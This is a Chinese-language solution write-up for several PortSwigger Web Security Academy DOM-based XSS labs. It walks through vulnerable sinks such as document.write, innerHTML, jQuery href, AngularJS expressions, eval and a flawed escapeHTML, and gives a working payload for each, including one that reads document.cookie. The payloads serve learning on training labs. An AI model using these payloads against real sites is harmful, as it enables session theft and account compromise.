Portswigger web security academy:DOM Based XSS

DOM XSS in document.write sink using source location.search

  • 题目描述

    搜索功能点调用了document.write函数,借此函数调用alert

  • 解题步骤

    看着语句写payload

    asd"><script>alert()</script><"

DOM XSS in document.write sink using source location.search inside a select element

  • 题目描述

    使用document.write调用alertdocument.write会从location.search获取参数,且参数可控,但参数被select element包围了

  • 解题步骤

    可以看到这里的storeId是从URL获取的,而且被<option></option>包围

    构造payload:&storeId=<script>alert()</script>

DOM XSS in innerHTML sink using source location.search

  • 题目描述

    这道题的搜索功能点会使用innerHTML来修改一个div标签,参数取自location.search,调用alert即可

  • 解题过程

    可以看到这里把url里的search参数写到了HTML里

    构造payload:search=<img+src=x+onerror=alert()>

DOM XSS in jQuery anchor href attribute sink using location.search source

  • 题目描述

    在提交反馈的页面里用到了jQuery来修改一个锚的属性,参数取自location.search,要求alert(document.cookie)

  • 解题步骤

    这里和题目描述一样

    构造payload:returnPath=javascript:alert(document.cookie)

DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

  • 题目描述

    这道题用到了AngularJS,涉及到一个知识点

    当标签有ng-app属性时,会运行花括号里的代码,<x ng-app="">{{alert()}}</x>

    要求运行一个``AngularJS的表达式调用alert`

  • 解题步骤

    看了两篇AngularJS xss的介绍,里面有两个payload,可行,原理都一样,建议看第一个参考链接的介绍

    payload:

    {{constructor.constructor('alert(1)')()}}

    {{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

    官方solution的payload:{{$on.constructor('alert(1)')()}}

  • 参考

    https://bbs.pediy.com/thread-258994.htm

    https://blog.csdn.net/linuxnews/article/details/58296374

Reflected DOM XSS

  • 题目描述

    和题目的意思一样,这是个反射型+DOM型的xss

    调用alert函数即可

  • 解题过程

    在搜索功能点发现了eval函数

    关键代码

    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
    eval('var searchResultsObj = ' + this.responseText);
    displaySearchResults(searchResultsObj);
    }
    };
    xhr.open("GET", "/search-results" + window.location.search);
    xhr.send();

    这里涉及一个知识点: eval('xxx'+alert())也会弹窗

    返回值格式为:{"searchTerm":"xxx","results":[]},但是添加引号会被后台转义(添加\)

    构造payload:\"+alert()}//

    (减号也可以)\"-alert()}//

Stored DOM XSS

  • 题目描述

    评论功能点有存储型dom-xss,调用alert函数即可

  • 解题过程

    关键代码

    function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
    }
    let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)

    注意这里的escapeHTML函数的定义,使用了replace函数,js的replace函数有个特性,只会替换最开始出现的一个字符,所以

    构造payload:<><img src=x onerror=alert()>

Portswigger web security academy:DOM Based XSS的更多相关文章

  1. Portswigger web security academy:Stored XSS

    Portswigger web security academy:Stored XSS 目录 Portswigger web security academy:Stored XSS Stored XS ...

  2. Portswigger web security academy:Reflected XSS

    Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...

  3. Portswigger web security academy:Clickjacking (UI redressing)

    Portswigger web security academy:Clickjacking (UI redressing) 目录 Portswigger web security academy:Cl ...

  4. Portswigger web security academy:WebSockets

    Portswigger web security academy:WebSockets 目录 Portswigger web security academy:WebSockets Lab: Mani ...

  5. Portswigger web security academy:Cross-origin resource sharing (CORS)

    Portswigger web security academy:Cross-origin resource sharing (CORS) 目录 Portswigger web security ac ...

  6. Portswigger web security academy:XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

  7. Portswigger web security academy:Cross-site request forgery (CSRF)

    Portswigger web security academy:Cross-site request forgery (CSRF) 目录 Portswigger web security acade ...

  8. Portswigger web security academy:OAth authentication vulnerable

    Portswigger web security academy:OAth authentication vulnerable 目录 Portswigger web security academy: ...

  9. Portswigger web security academy:Server-side request forgery (SSRF)

    Portswigger web security academy:Server-side request forgery (SSRF) 目录 Portswigger web security acad ...

随机推荐

  1. Hibernate在oracle中ID增长的方式

    引用链接:http://blog.csdn.net/w183705952/article/details/7367272 Hibernate在oracle中ID增长的方式 第一种:设置ID的增长策略是 ...

  2. Reactive Spring实战 -- 响应式Redis交互

    本文分享Spring中如何实现Redis响应式交互模式. 本文将模拟一个用户服务,并使用Redis作为数据存储服务器. 本文涉及两个java bean,用户与权益 public class User ...

  3. Python中的描述器

    21.描述器:Descriptors 1)描述器的表现 用到三个魔术方法.__get__()   __set__()  __delete__() 方法签名如下: object.__get__(self ...

  4. 数数字(JAVA语言)

    package 第三章习题; /*  * 把前n(n<=10000)个整数顺次写在一起:  * 89101112...  * 数一数0-9各出现多少次  * (输出10个整数,分别是09出现的次 ...

  5. 仿String()构造器函数 【总结】

    需求 实现以下方法: 控制台结果: 需求分析: 首先确定new调用的this和什么对象绑定,如果跟默认返回的对象绑定肯定做不到 [ ] 这样的访问,所以要在构造器内部返回一个包装过的数组 1.leng ...

  6. webgoat白盒审计+漏洞测试

    前言 小白,记录,有问题可以交流 乖乖放上参考链接: https://www.freebuf.com/column/221947.html https://www.sec-un.org/java代码审 ...

  7. Tkinter系列教程01—引言和安装Tk—Python GUI编程

    目录 Tkinter教程系列01--引言和安装Tk 引言 什么是Tkinter 安装 Tk 为 Windows 安装 Tk 验证是否安装正确 为 GNU/Linux 安装 Tk 使用 Linux 的包 ...

  8. 一文教你搞懂 Go 中栈操作

    转载请声明出处哦~,本篇文章发布于luozhiyun的博客:https://www.luozhiyun.com/archives/513 本文使用的go的源码15.7 知识点 LInux 进程在内存布 ...

  9. Redis生产环境节点宕机问题报错及恢复排错

    Redis故障发现 主观下线 当cluster-node-timeout时间内某节点无法与另一个节点顺利完成ping消息通信时,则将该节点标记为主观下线状态. 客观下线 当某个节点判断另一个节点主观下 ...

  10. CVE-2010-3333-office RTF栈溢出漏洞分析

    0x00 前言 此漏洞是根据泉哥的<漏洞战争>来学习分析的,网上已有大量分析文章在此只是做一个独立的分析记录. 0x01 复现环境 操作系统-->windows7 x64 软件版本- ...